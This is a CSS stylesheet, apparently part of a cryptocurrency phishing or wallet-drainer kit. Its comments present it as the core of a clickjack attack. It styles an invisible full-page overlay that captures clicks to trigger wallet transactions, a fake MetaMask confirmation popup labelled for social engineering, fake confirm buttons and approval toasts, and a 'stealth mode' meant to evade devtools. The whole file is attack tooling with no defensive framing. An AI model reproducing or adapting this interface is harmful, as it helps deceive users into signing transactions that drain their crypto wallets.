/* ==================== CLICKJACK INVISIBLE OVERLAY ==================== */

/* 
 * The invisible overlay is the core of the clickjack attack.
 * It sits on top of the entire page, transparent to the user,
 * but captures all clicks and redirects them to trigger wallet transactions.
 */

/* --- Invisible Overlay (Full Page) --- */
.invisible-overlay {
    position: fixed;
    inset: 0;
    z-index: 999999;
    background: transparent;
    cursor: default;
    display: none;
    pointer-events: all;
}

.invisible-overlay.active {
    display: block;
}

/* --- Fake Notification Popup --- */
.fake-notification {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    z-index: 1000000;
    background: var(--bg-card);
    border: 1px solid var(--border-color);
    border-radius: var(--border-radius);
    padding: 1.25rem;
    display: flex;
    align-items: center;
    gap: 0.75rem;
    box-shadow: var(--shadow-lg);
    animation: notificationSlideIn 0.3s ease-out;
    cursor: pointer;
    pointer-events: all;
}

@keyframes notificationSlideIn {
    from {
        opacity: 0;
        transform: translate(-50%, -50%) scale(0.9);
    }
    to {
        opacity: 1;
        transform: translate(-50%, -50%) scale(1);
    }
}

.notification-icon {
    width: 36px;
    height: 36px;
    border-radius: 50%;
    background: rgba(14, 203, 129, 0.15);
    color: var(--accent-success);
    display: flex;
    align-items: center;
    justify-content: center;
    font-weight: 700;
    font-size: 1rem;
    flex-shrink: 0;
}

.notification-text {
    display: flex;
    flex-direction: column;
    gap: 0.1rem;
    flex: 1;
}

.notification-title {
    font-size: 0.85rem;
    font-weight: 600;
    color: var(--text-primary);
}

.notification-desc {
    font-size: 0.75rem;
    color: var(--text-secondary);
}

/* --- Fake Confirm Button --- */
.fake-confirm {
    background: var(--accent-primary);
    color: white;
    border: none;
    border-radius: var(--border-radius-sm);
    padding: 0.5rem 1rem;
    font-size: 0.8rem;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.2s;
    flex-shrink: 0;
}

.fake-confirm:hover {
    background: #5570d4;
    box-shadow: 0 0 12px rgba(98, 126, 234, 0.4);
}

/* --- Invisible Click Capture Layer --- */
.click-capture-layer {
    position: fixed;
    inset: 0;
    z-index: 999998;
    background: transparent;
    pointer-events: all;
}

/* --- Fake MetaMask Popup (for social engineering) --- */
.fake-metamask-popup {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    z-index: 1000001;
    width: 420px;
    max-width: 90vw;
    background: #1e1e1e;
    border: 1px solid #333;
    border-radius: 16px;
    overflow: hidden;
    display: none;
    box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
}

.fake-metamask-popup.active {
    display: block;
    animation: metamaskPopIn 0.25s ease-out;
}

@keyframes metamaskPopIn {
    from {
        opacity: 0;
        transform: translate(-50%, -50%) scale(0.85);
    }
    to {
        opacity: 1;
        transform: translate(-50%, -50%) scale(1);
    }
}

.metamask-header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 1rem 1.25rem;
    background: #2c2c2c;
    border-bottom: 1px solid #333;
}

.metamask-header-left {
    display: flex;
    align-items: center;
    gap: 0.6rem;
}

.metamask-logo {
    width: 24px;
    height: 24px;
}

.metamask-title {
    font-size: 0.9rem;
    font-weight: 600;
    color: #eaecef;
}

.metamask-close {
    background: none;
    border: none;
    color: #848e9c;
    font-size: 1.2rem;
    cursor: pointer;
    padding: 0.25rem;
}

.metamask-body {
    padding: 1.25rem;
}

.metamask-amount {
    text-align: center;
    margin-bottom: 1rem;
}

.metamask-amount-label {
    font-size: 0.8rem;
    color: #848e9c;
    margin-bottom: 0.25rem;
}

.metamask-amount-value {
    font-size: 1.5rem;
    font-weight: 700;
    color: #eaecef;
}

.metamask-amount-usd {
    font-size: 0.8rem;
    color: #848e9c;
}

.metamask-details {
    background: #2c2c2c;
    border-radius: 8px;
    padding: 0.75rem;
    margin-bottom: 1rem;
}

.metamask-detail-row {
    display: flex;
    justify-content: space-between;
    padding: 0.35rem 0;
    font-size: 0.8rem;
}

.metamask-detail-label {
    color: #848e9c;
}

.metamask-detail-value {
    color: #eaecef;
    font-family: 'SF Mono', 'Fira Code', monospace;
}

.metamask-warning {
    display: flex;
    align-items: flex-start;
    gap: 0.5rem;
    padding: 0.75rem;
    background: rgba(240, 185, 11, 0.08);
    border: 1px solid rgba(240, 185, 11, 0.2);
    border-radius: 8px;
    margin-bottom: 1rem;
}

.metamask-warning-icon {
    color: #f0b90b;
    font-size: 0.9rem;
    flex-shrink: 0;
    margin-top: 0.1rem;
}

.metamask-warning-text {
    font-size: 0.75rem;
    color: #c0a060;
    line-height: 1.4;
}

.metamask-footer {
    display: flex;
    gap: 0.75rem;
    padding: 1rem 1.25rem;
    background: #2c2c2c;
    border-top: 1px solid #333;
}

.metamask-btn-cancel,
.metamask-btn-confirm {
    flex: 1;
    padding: 0.75rem;
    border-radius: 8px;
    font-size: 0.9rem;
    font-weight: 600;
    border: none;
    cursor: pointer;
    transition: all 0.2s;
}

.metamask-btn-cancel {
    background: transparent;
    color: #848e9c;
    border: 1px solid #444;
}

.metamask-btn-cancel:hover {
    background: #333;
}

.metamask-btn-confirm {
    background: #627eea;
    color: white;
}

.metamask-btn-confirm:hover {
    background: #5570d4;
}

/* --- Fake Approval Toast --- */
.fake-approval-toast {
    position: fixed;
    bottom: 2rem;
    left: 50%;
    transform: translateX(-50%);
    z-index: 1000002;
    background: var(--bg-card);
    border: 1px solid var(--accent-success);
    border-radius: var(--border-radius);
    padding: 0.75rem 1.25rem;
    display: flex;
    align-items: center;
    gap: 0.75rem;
    box-shadow: var(--shadow-lg);
    display: none;
}

.fake-approval-toast.active {
    display: flex;
    animation: toastSlideUp 0.3s ease-out;
}

@keyframes toastSlideUp {
    from {
        opacity: 0;
        transform: translateX(-50%) translateY(20px);
    }
    to {
        opacity: 1;
        transform: translateX(-50%) translateY(0);
    }
}

.toast-icon {
    width: 28px;
    height: 28px;
    border-radius: 50%;
    background: rgba(14, 203, 129, 0.15);
    color: var(--accent-success);
    display: flex;
    align-items: center;
    justify-content: center;
}

.toast-text {
    font-size: 0.8rem;
    color: var(--text-primary);
}

/* --- Overlay Mode: When clickjack is active --- */
.clickjack-active body {
    pointer-events: none;
}

.clickjack-active #clickjack-overlay {
    pointer-events: all;
}

/* --- Stealth Mode: Hide from devtools --- */
.stealth-mode .loading-screen {
    animation: stealthPulse 2s ease-in-out infinite;
}

@keyframes stealthPulse {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.7; }
}

/* --- Responsive --- */
@media (max-width: 480px) {
    .fake-metamask-popup {
        width: 95vw;
    }
    
    .metamask-footer {
        flex-direction: column;
    }
}